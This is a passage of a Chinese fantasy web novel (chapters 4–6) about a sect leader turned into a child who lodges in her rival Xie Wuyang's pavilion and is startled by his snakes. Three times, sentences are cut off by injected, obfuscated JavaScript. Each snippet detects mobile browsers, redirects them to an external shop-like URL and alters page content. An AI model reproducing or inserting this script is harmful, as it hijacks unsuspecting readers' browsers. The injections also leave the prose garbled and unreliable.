灵舟驶入东洲,已遥遥可见天水相接的海平线,浮在碧蓝海域中的岛屿如同水潭里不规则的荷叶,连空气中的气息都从草木之香,变成了临海的清凉之气。 “终于到了,小爷的腰都快坐麻了……” 程令飞的声音将糜月吵醒。 她抬手揉了揉眼,这一觉睡得好香。 脸蛋下枕着的枕头好软,比她宫中的云锦软枕都要软。 小姑娘迷迷瞪瞪地睁开眼,对上夏沥微红得不自然的面颊。 糜月动作一顿,等等,她枕着的难道是…… 她视线下移,落在夏沥鼓鼓的胸口上。 啊,难怪这么软。 糜月想到什么,复又低头,对比了下自己一眼望到脚尖的小身板,心下难免又惆怅叹气。 她变小之前,那围度也是相当可观的,如今全没了,真教人悲伤。 一旁的程令飞都看呆了。 夏沥的脾气之臭,在宗里都是出了名的,竟然有耐心让一个小姑娘枕在她怀里埋胸睡觉? 不仅全程没挪动过,还问小姑娘还要不要多睡一会儿。 小姑娘摇摇头,从她怀里跳下来,抬头看了看程令飞,又朝他翻了个白眼。 “……” 程令飞后知后觉,是自己方才声音太大,吵到小姑娘睡觉了。 糜月扒着扶手朝灵舟下方一看,蔚蓝的海岸线上连绵着几座地势不高的群山,数千座楼宇层叠错落,仙雾袅袅,大气磅礴。 琼山以花草葳蕤、至美至幻而出名,而隐剑宗所在的玉京仙山,三面环海,是最先能看到日出和日落的地方,被誉为洞天仙山,两者各有各的美。 灵舟穿过数重护山结界,稳稳地停在一座山峰的最高处。 隐剑宗到了。 眼见程令飞和夏沥相继从灵舟上跃下,糜月站在甲板边缘有些犹豫。 此时灵舟距离地面尚有三丈,往日别说三丈,三百丈对她来说,也只是足尖一点。 然而今时不同往日,这点高度对于她现在的身形,堪比七八层楼高。 跳还是不跳? 就这么跳下去,会骨折的吧? 糜月正纠结着,忽然脚下一空,脚下的灵舟原地被人收走,下坠感包裹全身。 尖叫声尚卡在嗓子里,后衣领倏地收紧,下坠的趋势顿缓,眨眼间,平安落地。 夏沥落地之后,方才想起来糜月,转过身正想去接她,就看到师叔像拎小鸡仔似地提着一个小团子飘然落下。 站稳后,糜月立刻挣开他的手,一边把他抓皱的衣领弄弄平整,一边不满地气咻咻地瞪他:“不准揪我衣领!” ……真是好没面子! “师叔,云境台那边还有几个空余的弟子住所,先安顿月月住在那儿?” 夏沥对谢无恙询问道,云镜台去哪都近,她住的隔壁就有空屋,也方便照顾这小丫头。 小姑娘听到二人的对话,心思转动。 云镜台是弟子住所,位置偏远,人多而眼杂,她住在那里还怎么找功法? 她当下扯了扯谢无恙的袖子,朝着某处矗立在云雾中的仙阁高台,遥遥一指:“那里漂亮,能看见云彩,我要住那儿。” 夏沥顺着糜月手指的方向望过去,一时沉默。 程令飞心下啧声,这小丫头瞧着傻乎乎的,关键时候还挺精的,一挑就挑中了师叔独居的悬海阁。 4. 第 4 章 “月月,那里是师叔独居的住所,恐怕……” 夏沥为难地挠了下脸。 谢无恙喜静,除了些平日负责打扫传膳的侍从,连他们这些弟子都不能随意进入悬海阁。 师叔多半不会答应。 “不住那个,住那个也行。” 糜月又指了指另一边稍矮些的楼宇。 她虽然并不清楚功法的确切位置,但必然是在隐剑宗内院。 近水楼台先得月,只要能住进内院,以后不管是找功法还是暗查走动,都能方便许多。 再看糜月指的楼宇,夏沥的冷汗都快流下来了。 那处是掌门住所,小姑娘可真是看那栋豪华挑哪栋。 谢无恙瞥了眼故作乖巧的矮团子:“悬海阁还有许多空房,她想住就随她罢。” 这小丫头鬼灵精怪,还是看在自己眼皮子底下放心。 程令飞和夏沥要去见掌门,糜月跟着谢无恙继续往宗门内院处走。 糜月也来过几次隐剑宗,不过都是停留在护宗大阵外的百丈高空上干架,从来没有入过宗门内,这还是她第一次见到隐剑宗内部的景象。 怎么说呢,通铺的白玉石板和两侧林立的阁楼宫殿,瞧着倒是庄重大气,就是不太符合糜月的审美。 烬花宫里花草葳蕤,一步一景,处处都是沁人花香,住人的地方嘛,铺满鲜花才好看,铺石板有什么意思?瞧着怪冷清的。 踏过宗门界石,内设有飞行禁制,只允许低空御剑,灵舟之类的飞行法器更是要统统停泊在界外或是收起。 糜月又不会御剑,只好跟着谢无恙身后步行。 那悬海阁远远地瞧着倒是不远,可是真正走起来,还有相当一段距离,若是平路倒也罢了,悬海阁在山顶,走两步就有一段台阶。 糜月变成幼崽后,本就腿短,刚过了两道山门,她就撑不住了。 “等等……我走不动了。” 糜月满脑袋的汗,双手撑着膝盖喘气。 “就快到了,”谢无恙平静的视线落在累缩成一团的幼崽身上,微微皱眉,“你娘亲从未教你运气吐纳之术么,五岁的体质纵然也不该这么弱。” 被暗指体质差的糜月噎住。 这跟运气吐纳有关系吗?体型差距摆在这里,他一步抵得上她三步。 腿长了不起吗! 糜月正想席地而坐,歇上一会儿,忽然一道灵动的青光飘至她身前,是谢无恙的本命剑,他手指一点,两寸宽的剑身骤然放大了数倍。 “坐上去。” 有免费的坐骑,糜月自然不客气,立刻踩上剑身坐好。 于是就变成了谢无恙在前面走,糜月盘腿坐在他身后的灵剑上,随着他不紧不慢的步伐,慢悠悠地飘着。 二人作为多年的死对头,糜月自然认得这把剑,剑名“无为”,是当今世上位列四境魁首的神兵。 这剑已经有了灵性,许是第一次被除了主人之外的人坐,它显得有些骄躁,有些不安分地晃动剑身。 谢无恙的指尖便凝出半透明的灵丝,和剑柄缠绕在一起,就这么牵着剑以及剑身上的她。 得以释放双脚的糜月,轻松地长舒一口气,又觉得哪里不太对劲。 这画面…… 怎么感觉像在溜狗? 一路上遇到不少隐剑宗弟子,见到谢无恙皆是恭敬地停下飞剑,驻足行礼,有的唤他“师叔”,有的唤他“师叔祖”,有的唤他“尊上”。 当在看到他身后溜着的糜月时,无一例外都露出了惊讶和好奇,走出了老远还在频频回头。 “我没眼花吧,师叔他在……遛娃?” “这小姑娘瞧着眼生得很,是师叔新收的徒弟?” “不可能,师叔从不收徒,再说,那丫头年纪是不是有点太小了,还没剑高呢。” “不是徒弟?那难不成是……” “嘘,敢乱八卦师叔,不要命了?” 偶有一两句议论声飘进糜月的耳朵。 剑宗喜欢乱捡徒弟这事,人尽皆知到已经被改编成无数话本子流传。这些剑修一见到失去双亲的孤儿,就会忍不住善心大发捡回宗里去。 糜月总觉得他们如此行径很虚伪,无非是博个名声好听,烬花宫就从来不捡来历不明的孩子。 烬花宫挑选弟子,一看血脉传承,二看颜值。实力再不济的弟子,糜月都能调/教好,比起那点子悟性的差距,糜月觉得一群俊美靓丽的弟子们在眼前晃来晃去,更让她赏心悦目,心情愉悦。 但以她的了解,谢无恙跟那些某些重注声誉、爱心泛滥的剑修可不太一样。 糜月心生警惕,这厮真的那么好心收留她了?该不会憋着什么坏吧? 然而转念一想,又放下心来。 自己这遭走火入魔变成幼崽,并非是障眼法,是真真切切变成了小孩子,哪怕境界再高也看不出破绽。 只要她不自露马脚,谢无恙怎么都不可能联想到是她,便不会有危险。 …… 行至悬海阁阶下,糜月从剑身上跳下来,阶下左右两旁站着守门的侍从,谢无恙交代了几句,只身踏入阁中。 侍从则朝她和善地颔首:“小女郎随我来。” 糜月望了眼谢无恙没入阁中的身影,只好压下好奇,乖乖地跟着侍从走。 侍从引着她来到一间空闲的偏殿。 这间房屋清扫得很干净,器具、摆设全是崭新的,糜月把房间里里外外地检查了一番,没发现有什么奇怪的窃听阵法。 玉京仙山本就位于东洲临海,而谢无恙所居的悬海阁更是在玉京山的最东方,推开窗就能瞧见薄雾之下涌动的海潮。 他的名号东极剑尊,好像就是由此得来。 海风轻拂屋檐下的悬铃,明媚的日光驱散了些许薄雾,沧浪拍打暗礁,卷起点点浪花雪沫,是在琼山难得一见的美景。 对衣食住行一向挑剔的糜月,对这间海景房还算满意。 窗外的风景怡人,糜月却无心欣赏,心里只有一个念头——如何尽快拿到《烬虚诀》全卷功法。 撇开她和谢无恙的私人恩怨不谈,烬花宫和隐剑宗的渊源可以追溯到数千年前。 对于自家宗门的历史,糜月的了解也不算多,只知道那时候还没有隐剑宗,这座山和这片海都还是烬花宫的领地。 这片海域也不像此时这般风平浪静,而是多灾多难,海啸频发。 最严重的一次海啸几乎淹没了整座山头,所有的宫殿都被浸没在海水中,损失惨重,当时的烬花宫主无奈之下,只好带着弟子们搬迁。 烬花宫举宗从东洲搬去了西境,但有一样东西,当时的烬花宫主无法搬走,便是老祖宗留下的刻有《烬虚诀》心法的地下秘宫。 然而等烬花宫主安顿好弟子,重建好宗门,再返回东洲原址时傻眼了。 这里已经被另一家名为隐剑宗的宗门所占据。 好在秘宫设计巧妙,入口隐蔽,而且有特殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172420|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的禁制,只有身负烬花宫嫡系血脉的人才能打开进入。 虽不用担心别人进入秘宫盗取心法,可这是老祖宗留下的东西,还关系到烬花宫主的历代传承,怎能容忍别宗坐拥此处? 因此数千年来,烬花宫一直都在想办法将隐剑宗剿灭或驱除此地,又不能将此地有祖传秘宫之事宣之于口,致使两宗摩擦不断,结怨越来越深。 而关于秘宫所在,只有一个通过历任宫主代代传下来口诀: [海上升玉峰,满月子时夜。 蛟龙吞月时,秘宫自然现。] 这口诀的前两句,糜月大概能懂是什么意思。 海上升玉峰,这玉峰就指的是玉京仙山,满月子时夜,点名的是秘宫入口出现的时辰,是在满月之日的子时。 不过,那蛟龙吞月是何意? 每年有十二次满月,意味着一年有十二次进入秘宫的机会,但蛟龙这种上古异兽,已经上千年都没出现过了,若在玉京仙山真有蛟龙现身,不可能一点风声都没有。 “咕噜……” 肚子里传来的响动打断了她的思路。 糜月揉揉肚子,好饿啊。 一转眼,方才给她引路的侍从也不见了。谢无恙那厮真就把自己放在这就不管了,该不会是想饿死她。 眼下满月之日刚过,距离下次满月还有二十多天,找功法的事倒是急不得,当务之急是填饱肚子。 糜月推开屋门,决定自己去觅食。 …… 悬海阁总共有七层,顶层阁楼是除谢无恙之外,无人敢踏入的禁地。 屋门被推开的声响,惊醒了阁楼里沉眠的活物,鳞片划过光滑的地砖,发出令人牙酸的声响,那动静一路游走到男人的脚下,攀着他的身躯蜿蜒向上。 白玉般无暇的蛇身直至缠绕上他的手指,两颗如同珊瑚宝石的朱虹蛇眼直勾勾地和谢无恙平静的双眸对视,三角形的脑袋撒娇地蹭着他的指腹。 蛇乃冷血狡诈之物,这画面放在旁人身上都会显得妖异诡谲,可偏偏此人是谢无恙,衬得这条小白蛇都多了几分仙气飘飘。 谢无恙的另一只手端着一碟食盘,里面装着些圆滚滚的果子,小白蛇撒完娇,从他的手腕攀过去,蛇信一卷,开始吞吃果子。 “吃饱了就去寻个人。” 谢无恙将一根细软的头发丝递到小白蛇的面前,小白蛇抬起脑袋嗅了嗅,猩红的蛇信轻吐,似是对他的指令有些困惑。 这头发的主人不就在阁楼下吗? “我要找到与她血脉相连之人。” 谢无恙猜测糜月许是躲藏进哪个秘境中,或者用了某些能屏蔽感测的法宝,所以定元珠才追踪不到。 而他饲养的一丈仙能追寻血脉的气息,不受法宝的迷惑,哪怕是躲在秘境幻境里也能翻找出来。 小白蛇定定地和他对视了一会儿,终于有了动作,悠然往窗边的方向游走,经过食盘时,不忘用蛇尾卷起一颗果子顺走。 白蛇的身影消失在窗台边,想必要不了多久,就能给他带来有用的消息。 “簌簌——簌簌——” 一阵奇怪的响动从窗外传来,谢无恙将剩下的食盘收起,走到窗台边顺势朝下看去。 窗外秋日高悬,日光正好。 庭院里栽着几株用作观赏的石榴树,婆娑树荫下,小姑娘手里高举着一支比她自己还长的树枝,很吃力地踮着脚、伸直胳膊去戳树梢上坠着的石榴果。 “……” 5. 第 5 章 糜月相中了树梢上那颗最大最红的石榴。 奈何她力气太小,戳了半天,那颗红石榴摇摇欲坠就是不落,反而她头顶上有一颗熟透的石榴,在树枝的摇晃下有些松动,骤然脱离了树梢,直直砸向她的脑袋。 谢无恙手指微动,那颗石榴果瞬间停滞在半空中。 糜月察觉到什么,抬起头,发现了阁楼窗边那抹注视的身影。 偷摘果子被抓个正着,糜月全然没有一点做坏事被发现的窘迫,丢掉手里的树枝,淡定地把飘在脑袋上的石榴果摘了下来,迫不及待地掰开外皮一角,送到嘴边。 “别吃……” 谢无恙说慢了一步,糜月已然朝着果肉一咬。 “呸呸呸!” 小姑娘的眉毛眼睛都皱成一团,这是什么石榴刺客,中看不中吃,长得这么红,酸倒牙了…… 她扔掉石榴,抬头望着马后炮的某人,清脆稚气的嗓音里带着深深的谴责和委屈。 “我饿了!找了一圈都没有吃的,你说话不算话!” 这么大个宗门都不给饭吃的吗,让一个五岁的幼崽饿到自己去摘石榴,当初说得好好的带她回宗,结果一回来就不管她了。 瞧瞧,这是人干的事吗?? 面对小姑娘的控诉,谢无恙有点歉疚。 他辟谷太久,身边也从未教养过孩子,完全忘了幼崽要吃饭这回事。 他挥袖打出一道灵气,撞击角檐下的悬铃响动了两声,当即便有侍从登上云阶,恭谨地俯身问道。 “尊上,有何吩咐?” “送些膳食过来。” “是。” 一刻钟后,悬海阁主殿内,紫檀四方桌上摆满了色香味俱全的菜肴,有鱼有虾有荤有素,就连水果糕点的盘子边缘都点缀着几片翠绿的嫩叶,看着倒是挺精致可口。 糜月实在是饿极了,夹起一块清蒸不知道是什么鱼的鱼肉,迫不及待地塞进嘴巴。 香香糯糯,没有鱼刺,好评! 谢无恙看着桌对面专心致志干饭的幼崽:“是我疏忽了,以后我会让侍从定时送来一日三餐,不会饿着你。” “嗯嗯。” 糜月头也不抬地点头,这还差不多。 谢无恙看她吃得急,便给她盛了一碗汤。 糜月看着那碗被他推到自己面前的汤碗,毫不客气地喝了一勺。 眼睛顿时晶亮,好喝! “可还合口味?”谢无恙问。 他虽已辟谷,但五谷乃气血生化之源,他每隔三月,也都会用些膳食。这些菜色都是他平时的食谱,膳堂做得自然精致用心。 “还行吧。” 糜月小手托着小碗,煞有介事地点评道。 她原本的身体也是已经辟五谷的,光靠吸灵气便能取代用膳,但是架不住她馋。 她每日不光要吃,还要变着花样的吃,烬花宫的厨子每天抡勺抡得热火朝天,都是在为她一人做吃的。 她喜甜也喜辣,隐剑宗的饭菜对她而言,味道有些太清淡了。不过胜在食材新鲜,这里靠海吃海,这些鱼虾都是当日捕捞上来的,肉质紧致鲜甜,在琼山不常能吃到,也别有一番风味。 “你筷子使得不错。”在一旁观察她用膳的谢无恙忽然道。 在他的印象里,幼童学用箸是不太容易的事,很多孩子在她这个年纪都用不熟练,她倒是使筷子使得虎虎生风。 “呃……”糜月脑子活泛地立马接上,“是娘亲教得好,她说要好好吃饭,才能长得高。” “你娘亲会教你这些,看来平时待你很好,她为何不要你了?” 谢无恙似是不经意地问。 “因为……”糜月咬着筷子,支吾道,“因为她和爹爹吵架了。” “他们因何而吵架?”谢无恙又问。 糜月没想到他会这么打破砂锅问到底,为了圆谎,她只好硬着头皮编下去。 “我也不知道,只知道他们吵了好大的架,娘亲很生气,就离宫出走了,后来爹爹也走了,他们都不要我了。” 小姑娘睁着一双水汪汪的无害杏眼,配合惨兮兮的奶娃音,能轻而易举地骗取别人心生怜悯。 谢无恙不紧不慢地继续追问:“你可知道你爹爹的名字?出自哪个宗门?” “不知道……”糜月摇头装傻。 这个她倒没骗他,她从小就没有见过她爹,她娘亲在世时,也从未提过她爹的事。倒是听年长的副宫主说起过,她爹只是个侍宫,不甚得她娘亲的喜欢,之所以能有她似乎是个酒后的意外。 何况烬花宫以女为尊,糜月对她爹是谁这个问题,从来就没有过好奇之心。 更何况她如今只是个四五岁的幼崽,不知道爹爹的名字也很正常吧? 谢无恙蹙眉:“连哪个宗门都不知道?” “爹爹从未说过。”糜月含混地说。 怎么像查户籍似的…… 她过习惯了被人服侍,衣来伸手饭来张口的日子,这才有些后知后觉。 等等,谢无恙这么轻易地就带她回宗,还有求必应,该不会……他真是像那些小弟子所说,见她骨骼清奇,想收她为徒罢? 救命啊,她必不可能认贼作父!师父也是父! 她急忙补充:“我娘亲说过,烬花宫的功法天下第一厉害,说让我以后和她学烬花宫功法,所以从不让爹爹带我。” 谢无恙微微挑眉。 烬花宫天下第一?这还真是她会说出来的话。 糜月眨巴着眼,小心觑他的神色,她都说得这么明白了,他总不能强行逼人为徒吧? 谢无恙若有所思地垂眸,手中有一搭没一搭地搅动汤勺。 从短短几句话里,他得出了几个重要信息。 她和那男人大吵一架,看来感情不睦;她不让那男人教孩子功法,说明那男人地位低下不得宠;她会亲自教孩子用筷子,说明她还是很珍爱这孩子的,突然丢下孩子离开,大概有什么不得已的苦衷。 “嗯,你娘亲说的对,烬花宫功法的确精妙,独树一帜,非寻常门派能比。” 听到他的话,糜月着实一愣,一时分不清他是在阴阳,还是真的放弃收她为徒了。 “你先在此处住下,不必拘谨,平日里若短缺什么或有什么事,可去阁上找我,也可吩咐侍从去做。”谢无恙如是说。 糜月虽不明白这老贼把她家底问得这么清楚,葫芦里是要卖什么药,毕竟论玩心眼子,她是决计玩不过他的。 所以,装傻是她最好的保护色。 “好呀。”小姑娘脆生生地答应了。 谢无恙:“你可像宗内弟子一般,唤我师叔。” 师什么叔? 谢无恙见小姑娘皱起包子脸,有些纠结的样子,问:“怎么了?” “我可以叫你名字吗?”糜月一派天真,“娘亲说过,称呼有很多个,但名字只有一个,我想叫名字。” 想占她便宜?门都没有。 “也可,”谢无恙并不在乎这些,“我姓谢,字无恙。” 糜月歪头:“你刚才说,我有什么事都可以找你吗?” “嗯。” 谢无恙应声,下一刻,便见小姑娘把喝光的汤碗,推回到他面前,理直气壮:“那把刚才那个汤……再给我盛一碗,我够不着。” 糜月用最奶的语气,说出最颐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172421|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指气使的话,使唤一派剑尊给自己盛汤。 谁让她现在是个弱小无助、且需要人照料的幼崽呢? 总不能让她自己盛吧,那鱼汤离自己这么远,她站在板凳上都够不到,万一没拿稳勺子,烫着自己了怎么办? “……” 谢无恙倒没多说什么,挽袖给她又盛了一碗汤,递到她手里。 糜月抱着美味鱼汤,喝得眼尾都眯了起来,觉得这碗汤经剑尊的手盛过格外美味。 真是舒畅解气,又有点刺激。 来隐剑宗后的第一顿饭虽然吃得鸡同鸭讲,倒是还算和谐。 全然不知此时的烬花宫,因为她的突然失踪已然乱成了一锅粥。 …… 最先发现糜月不见的,是她的近身侍宫沈灵淇。 昨日,糜月那句“身子不适”惹得他整夜挂心,待到今日晌午,也不见糜月出来,亦不见她叫人传膳,于是便来到主殿外询问。 他敲了半天的门,也无人应,方急匆匆地推开门,寝殿内空空荡荡,只有桌上留下的那封书信。 信上大意是说,她练功破镜时出了点岔子,受了点伤,需要离宗些时日,暂避风头。 沈灵淇看完信,不敢托大,立刻聚集了十二副宫主商议此事。 各宫副宫主看完信,皆是神色凝重。 “宫主平日行事虽恣意率性,但从未这般儿戏过,此事有些蹊跷。” 廖红叶率先开口。 众人纷纷点头,是啊,若宫主只是受了点伤,为何非要离宫?不更应该好好在宗门休养么,这信留的好生奇怪。 另一位副宫主迟疑地说:“我本想今日禀告宗主,昨晚在琼山下的河边,有两个弟子发现了几具狼尸,上面还残留着隐剑宗的剑痕,宫主会不会是被隐剑宗的人暗算了?” “竟有此事?!” 众人大惊,犹如一石激起千层浪。 “这信的笔迹确实是宫主的,但格外潦草凌乱,可见宫主当时心绪慌张,很可能是被人胁迫所留。” “我看八成是那隐剑宗所为,绑走了宫主!” “竟敢对宫主下手,我这就召集弟子带上家伙事,跟他们拼了!” 脾气火爆的副宫主已经按捺不住拍案而起。 沈灵淇安静地坐在角落,睫羽在眼睑处落下一片阴霾。他身量修长挺拔,生得眉目清隽,薄唇染着淡淡的粉,他尚介于少年和青年之间,既还保留着少年特有的灵气,又有些青年男子的儒雅风姿。 在姿容各艳的众宫主中,样貌也丝毫不落下乘。 他沉声开口道:“此事尚不能下定论,以宫主的修为,她若不愿,无人能悄无声息地将她从烬花宫带走……” 话音顿了顿,“就算是东极剑尊亲至,也做不到。” 玉色的手指紧捏着手腕上的沉香珠串,因为过于紧绷用力,手背上的脉络泛出淡淡的青色。 话虽如此说,但沈灵淇想到昨日宫主反常的反应,一个猜测浮上心头。 宫主在破镜时可能受了内伤,才让隐剑宗的人趁虚而入,带走了她。 这个猜测让他坐立难安,他不愿去深想。 廖红叶点头:“沈侍宫说得没错,诸位先不要自乱阵脚,我先派人去东洲打探消息,确定宫主是否真在隐剑宗后,再动手也不迟。” 万一宫主失踪之事不是被隐剑宗所为,他们冒然打上门,搞得两败俱伤,那可真是闯下大祸了。 廖红叶年纪最长,副宫主们对她的话最为信服。 “宫主不在,我们一切都听廖师姐的。” 廖红叶再三叮嘱众人:“记住,宫主失踪一事,切要保密,严禁外传。” 6. 第 6 章 用完膳后,天色渐暗,糜月回到自己的寝殿。 随后有侍从送来了些她能穿的衣物和鞋袜,应该是受了谢无恙的嘱托,特意去山下城中采买的。 糜月有点嫌弃,这些裙子的质量远不如她平时穿的香云纱,可是寄人篱下,她也没得挑,只能凑合。 好歹她不用光着脚丫了。 随后侍从又送来了沐浴用的木桶,备好热水后,恭谨地问她需不需要帮忙,糜月挥挥小手把他们赶了出去。 这里都是隐剑宗的侍从,近身侍奉她不放心。 再说了,泡个澡而已,她只是变小了,又不是变傻了。 坐进浴桶里,热蒸汽包裹身体四周,糜月舒服地眯起了眼。 正常尺寸的浴桶,如今对她来说,宽大地就像是个温泉池,她甚至可以把双脚抻直,半躺在里面。 在烬花宫时,糜月就很喜欢泡澡,浴桶底部的花瓣要铺满三层,辅以山泉水,还要用一千种不同的花炼制成的精油或牛乳涂抹身子,极尽奢靡。 而现在别说花瓣和牛乳了,只有一小碟子澡豆。 这些剑修们活得是真糙啊。 如果不是为了找回功法,她真是一天都在这待不下去。 糜月沐浴完,蹬掉鞋子,爬上床榻,抱着完全没有自己气息的小被子,有一点点惆怅。 说起来,她还是有点认床的,也不知道能不能睡着…… 糜月这般想着,眼皮却开始打架,浅浅地一个翻身,脑袋一沉,竟然直接睡了过去。 翌日。 糜月从被窝中醒来,这一觉出乎意料地睡得很香。 或许是昨晚舟车劳顿,坐了半天灵舟又爬了山的缘故,她这小身板实在是不经折腾,跑几步就觉得累。 糜月自己动手穿好衣服,对着铜镜梳头打扮,那些发钗饰物,对于如今的她来说,戴着实在太重了,只好先收进了储物袋里。 小孩子不适合编少女的发髻,于是糜月小手灵活地把细软的发丝,变了两缕麻花辫,然后又窝起来,缠成了两团小发包,虽然很朴素,但不失灵动可爱。 糜月对着铜镜左照右照,遗憾叹气,要是有些花钿点缀就好了,头发和脖子上光秃秃的,倒是有点不太习惯。 她推门出去,忽然瞥见大殿里遮光的幔帐,灵光一动,这幔帐的颜色是淡淡的水红色,倒是很耐看。 于是折返回来,动手剪下了两小条幔帐的布料,和发包绑在一起。两条布料水灵灵地变成了两条垂下来的发带。 糜月很满意,谁让谢无恙剪她裙子,她剪他的门帘子,倒是很公平吧? 暖阁里,侍从们已经将早膳准备好了,谢无恙也正坐在桌边等她。 看着小姑娘爬上板凳坐好,谢无恙目光微顿,发现小姑娘花苞上绑着的丝带颜色有些眼熟,但一时没想起来。 “昨夜睡得如何?”他随口问。 糜月打了个哈欠,懒懒道:“一般般,枕头太硬了,我喜欢睡软枕。” “嗯,回头让侍从给你换一套。” 谢无恙看起来很好说话。 糜月端着碗小口喝着粥,心里闪过些许怪异感,怎么感觉他成了管家似的。 谢无恙看着她好好用完膳,叮嘱她道:“这里平时无外人打扰,你可以随意进出,但唯有顶楼,你最好不要进去。” 随后独自起身离开了暖阁,似乎回了自己的寝殿,殿门紧闭,不知在做些什么。 糜月揉了揉吃得有些发涨的肚皮,打算去散步消消食,熟悉打探下周围的环境,方便以后踩点。 她刚走出门想到什么,回头看了看层叠的小楼,说起探查,她连这座悬海阁都还没完整地逛过呢,不如就先从眼前的开始吧。 整个悬海阁共有七层,于是她便一层层地往上溜达。 第一层是悬海阁主殿,只摆着几张闲置的桌椅,看得出主人没有什么待客之心,侧殿是她住的地方。 往上第二层是谢无恙的寝殿,殿门紧闭着,糜月直接掠过。 最让她惊讶的是,从第三层到第六层竟然全都是满满的藏书。 一排排的博古架摞满了各色书籍、剑谱,还有一些地志、文集、杂记,甚至还有讲堪舆、天仪、卜筮的书,堪称五花八门。 糜月扫了两眼,便觉得眼花。 光从看书的喜好,她就知谢无恙和她顶不对付,没有一本符合她的口味,这些书拿来垫桌脚她都嫌厚。 她烬花宫的寝殿里也有几排藏书,书名都相当直白,一目了然: 《论如何成为一个合格的妖女》、《合欢宗独家双修指南》、《魔尊夺爱追妻夜夜宠》、《失忆后妖王带崽找上门》……都是她翻了好几遍的心头好。 且说,那本《合欢宗独家双修指南》还是某年生辰,合欢宗宗主送给她的正版书。大抵是因为烬花宫和合欢宗名声一样的臭,糜月和合欢宗宗主有些惺惺相惜和臭味相投,在众多修仙门派里,她唯独和合欢宗宗主关系最好。 那本双修指南香艳绝顶,还配有插图,栩栩如生,糜月闲来没事就会翻一翻,只是还没来及派上用场就变小孩了。 可惜啊可惜。 那些可都是她珍藏的宝贝,也不知道她走之后,沈灵淇有没有帮她好好收好。 糜月一边想,一边慢悠悠地往顶层的阁楼走。 她想起方才在席间谢无恙的叮嘱,为何单单顶楼不能去?莫不是藏着什么宝贝,或者有秘宫的线索? 糜月一身反骨,越不让她去的地方,她偏要去看看。 顶层的殿门没有设置阵法,就这么虚虚地掩着,糜月见状心中窃喜,姓谢的也忒大意了,这不是方便她偷……不对,方便她踩点吗? 她轻手轻脚地推开门,侧身钻入,殿里一片漆黑昏暗,窗户严丝合缝地关着,几乎没有光亮透进来。 殿内摆放着许多杂物,八仙桌上摆着各式各样的木匣。影影绰绰间,糜月发现正对着她的墙壁上似乎挂着一幅女子的画像。 那画中女子梳着双环发髻,长裙飘逸,因为光线太暗,看不清那画像的五官,但从气质和身形,依稀能瞧出来是个绝艳姝丽的大美人。 糜月摸黑往殿内走了两步,怎么感觉这画像上的人有些许眼熟? “嘶嘶~” 古怪窸窣的响声让她脚步一顿,糜月偏头,对上一双双幽绿色的眼瞳,宛如黑夜里燃烧的鬼火,层层的鳞片反射着冷白的碎光,从木匣子里探出头来,正在悄然地朝她的方向流动贴近。 “妈呀,蛇!!!” 糜月惊叫一声,吓得掉头就跑,脚底生烟。 正在屋内打坐的谢无恙,乍听到那声突兀的惊呼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172422|150498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地睁开眼,一连串“哒哒哒”慌忙下楼声传来,紧接着“砰”地一声,殿门被大力地紧紧关合。 谢无恙寂然不动,清淡含雾般的狭长眼眸往殿门的方向看去,灵识如过境的风般瞬间扫荡了整个悬海阁。 锁在自己屋子里的小姑娘,似乎受了点惊吓,但无事。 谢无恙松了口气,他的灵宠倒是被她吓得不轻,纷纷蜷缩回了匣子里。 …… 糜月背贴着屋门,捂着胸口,大口喘着气,心有余悸。 谢无恙他果然是个变态啊! 哪个正经人会在自己的寝殿里养蛇啊?太可怕了! 她这辈子天不怕地不怕,最害怕的东西就是蛇了,方才那一眼,让她现在还头皮发麻。 糜月也不敢乱跑了,老老实实地在自己的房间里呆着,连晚膳都让侍从送进了房里。 入夜前,糜月把窗户和门都关得死死的,检查了好几遍,方才提心吊胆地躺在床榻上,抱着自己的小被子,裹得像个虾球,连脚指头都不敢露。 养这么可怕的东西,还不锁门,简直没有公德心! 谁知道那些蛇会不会半夜跑出来钻她被窝咬上她一口? 糜月战战兢兢,一整晚都没睡踏实。 辗转反侧间,她做了个噩梦,恍惚梦见了幼年时在无涯学宫的日子。 无涯学宫算得上是修仙界第一学府,由无涯道人一手创办。无涯道人已是半步成仙的修为,对神相的凝练更是炉火纯青,各大宗门挤破了脑袋,都要把自家孩子往里送。她娘亲——便是当时的烬花宫主,也不例外。 糜月小时候就生的好看,娘亲又是烬花宫主,刚入学宫,就成了众星拱月般的存在,每天兜里、书箱里全塞满了小同窗们讨好送的饴糖。 糜月含着金汤匙出生,不像旁人会看宗门出身交朋友,她交朋友只有一个标准:看脸。 于是,那批学子中,最漂亮的男孩子就成了她的同桌。 